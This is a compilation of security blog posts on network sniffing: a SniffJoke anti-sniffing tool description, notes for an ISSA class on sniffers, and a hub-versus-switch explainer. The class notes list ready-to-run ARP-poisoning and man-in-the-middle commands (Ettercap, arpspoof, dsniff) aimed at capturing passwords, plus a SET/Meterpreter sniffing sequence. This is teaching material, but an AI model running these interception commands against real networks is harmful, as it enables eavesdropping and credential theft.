Sniffjoke Antisniffing Framework & Tool For Session Scrambling

What is sniffjoke?

SniffJoke is an application for Linux that handle transparently your TCP connection, delaying, modifying and injecting fake packets inside your transmission, make them almost impossible to be correctly read by a passive wiretapping technology (IDS or sniffer).

An Internet client running SniffJoke injects in the transmission flow some packets able to seriously disturb passive analysis like sniffing, interception and low level information theft. No server support is needed!

The internet protocols have been developed to allow two elements to communicate, not some third-parts to intercept their communication. This will happen, but the communication system has been not developed with this objective. SniffJoke uses the network protocol in a permitted way, exploiting the implicit difference of network stack present in an operating system respect the sniffers dissector.

How Does It Work?

It works only under Linux (at the moment), creates a fake default gateway in your OS (the client or a default gateway) using a TUN interface check every traffic passing thru it, tracks every session and
applyies two concepts: the scramble and the hack.

The scramble is the technology to bring:

A sniffer to accept as true a packet who will be discarded by the server, or
A sniffer to drop a packet who will be accepted by the server.

The scramble technology brings in desynchronisation between the sniffer flow and the real flow.

The bogus packet accepted by the sniffer is generated by the “plugin” is a C++ simple class, which in a pseudo statefull tracking will forge the packet to be injected inside the flow. is pretty easy to develop

anew one, and if someone wants to make research on sniffers attack (or fuzzing the flow searching for bugs) need to make the hand inside its.

The configuration permits to define blacklist/whitelist ip address to scramble, a degree of aggressivity for each port, which plugin will be used.

Download SniffJoke here: sniffjoke-0.4.1.tar.bz2

Network Sniffers Class for the Kentuckiana ISSA 2011

This time Gary Hampton joins me to impart his knowledge of using Wireshark to diagnose problems on wireless networks. I cover the usual suspects:  TCPDump, Metasploit sniffing with Meterpreter, ARP Poisoning, Ettercap, Cain, NetworkMinor, Firesheep and Xplico. I lost part of Gary's on screen demo when my recording rig froze up, and I apparently did not make a proper sacrifice to the demo gods for my section when I tried to show off Ettercap filters, but I hope you still find it informative.


Part 1: Intro to Sniffers


Sniffers Class Part 1 from Adrian Crenshaw on Vimeo.

Download: http://www.archive.org/download/IssaSniffersClass/sniffers1.avi

Part 2: Wireshark and Wireless with Gary Hampton

Sniffers Class Part 2 from Adrian Crenshaw on Vimeo.


Download: http://www.archive.org/download/IssaSniffersClass/sniffers2.avi

Part 3: A little more Wireshark, TCPDump, Metasploit sniffing with Meterpreter, ARP Poisoning, Ettercap, Cain, NetworkMinor, Firesheep, Xplico and bridging.


Sniffers Class Part 3 from Adrian Crenshaw on Vimeo.

Commands used:

Wireshark Demo   1.       Run Wireshark 2.       Basic start capture 3.       Start capture with options 4.       Drill down OSI 5.       Capture filter options (4.9 in book) not tcp port 3389 not broadcast and not multicast 6.       Show a packet 7.       Pop a packet out 8.       Sort by columns 9.       Follow stream (web traffic) 10.    Export HTTP Objects 11.    Simple view filters tcp.port == 80 !(ip.addr == 192.168.1.13) 12.    Filter builder 13.    Apply filters from different panes (packet vs. details panes). 14.    Save filters 15.     Open a Wiki page 16.    Edit-> Find packet 17.    Analyzers ->Expert Info 18.    Analyzers ->Firewall ACLs 19.    Stats 20.    Color rules 21.    Save capture 22.    Mention Lua Dumpcap/TCPDump     dumpcap –D     dumpcap -i eth0 -s 0 -f "port 80" -w webtraffic.pcap Sniffing in Monitor mode    ifconfig wlan0 down    iwconfig wlan0 mode monitor    iwconfig wlan0 channel 1    ifconfig wlan0 up Ettercap Demo 1.      ettercap -T –q –i eth0 -M ARP // // 2.      ettercap -T –q –i eth0 -M ARP // /10.1.1.1/ 3.      Show ARP traffic 4.      Telnet to 10.1.1.1 5.      http to 10.1.1.1 6.      FTP/Telnet/HTTP someplace with a password 7.      Show find sniffers ettercap –G ettercap –T –I eth0 –P list ettercap –T –I eth0 –P search_promisc  // 8.      Filters:      etterfilter ig.filter -o ig.ef      ettercap -T -q -F ig.ef -M ARP // // 9.      Mention MITM: icmp, dhcp, port filters 10.    driftnet -i eth0 11.    Etherape

Cain Demo 1.      Start poisoning 2.      Telnet to 10.1.1.1 3.      http to 10.1.1.1 4.      FTP/Telnet/HTTP someplace with a password 5.      SSL someplace from VM 6.      Sniff RDP ARPSpoof Demo    cat /proc/sys/net/ipv4/ip_forward    echo 1 > /proc/sys/net/ipv4/ip_forward    arpspoof -i eth0 10.0.0.1    arpspoof -i eth0 -t 10.0.0.113 10.0.0.1    dsniff –I eth0 -c NetworkMiner 1.      TCP fingerprinting 2.      Host details 3.      DHCP finger printing 4.      File capture 5.      Passwords 6.      Plaintext 7.      Open pcap Bridging in Linux setup     sudo apt-get install bridge-utils    Script to setup MAC bridging:     ifconfig eth0 0.0.0.0     ifconfig eth1 0.0.0.0     brctl addbr mybridge     brctl addif mybridge eth0     brctl addif mybridge eth1     ifconfig mybridge up Things to show while bridged     ifconfig     sudo tcpdump -i mybridge -s 0 -w out.cap     sudo etherape -i mybridge     sudo driftnet -i mybridge Metasploit/SET    Backtrack->Penetration->SET    Menu Choices 2, 1, 2 (Google.com), 2, 2, default, no    <go to page>    sessions -i 1    use sniffer    help    sniffer_interfaces    sniffer_start 2    sniffer_dump 2 /tmp/all.cap    <Show in Wireshark>

hub vs switch – sniffing

hub vs switch – sniffing

Let’s look at the difference between a hub and a switch and how one could attack them. Watch the video to see hubs and switches from a hacker’s point of view. Read the post for a more formal description. (sorry about the quality, still working on perfecting this video stuff)

A hub and a switch have the same purpose; to connect a bunch of computers via ethernet “cross over” cables to create a network. Their main difference is that a switch is much more intelligent than a hub.

On a hub, all of the internet traffic (packets) are sent to every connected computer, where it is determined whether it belongs to that computer. As you may have already guessed, this isn’t very bandwidth friendly and is bad for performance.

Switches are much smarter, they are able to inspect all the headers of the packets coming in and determine where they are coming from and to whom they are destined for. The switch then forwards the traffic to the proper destination. This greatly reduces bandwidth and offers much better performance. For this reason you won’t find many hubs these days, switches are the preferred choice for networks for obvious reasons.

Because all traffic is forwarded to all the machines on a hub, it is very easy to sniff and store the traffic since it just comes to you. The sniffed packets may include website passwords, ftp passwords, the websites the user visits and other personal information.

On a switch, since the traffic is examined and forwarded to the correct machine, how would you sniff it if it doesn’t come to you? Easy, by ARP spoofing. Watch out for a post on that very soon.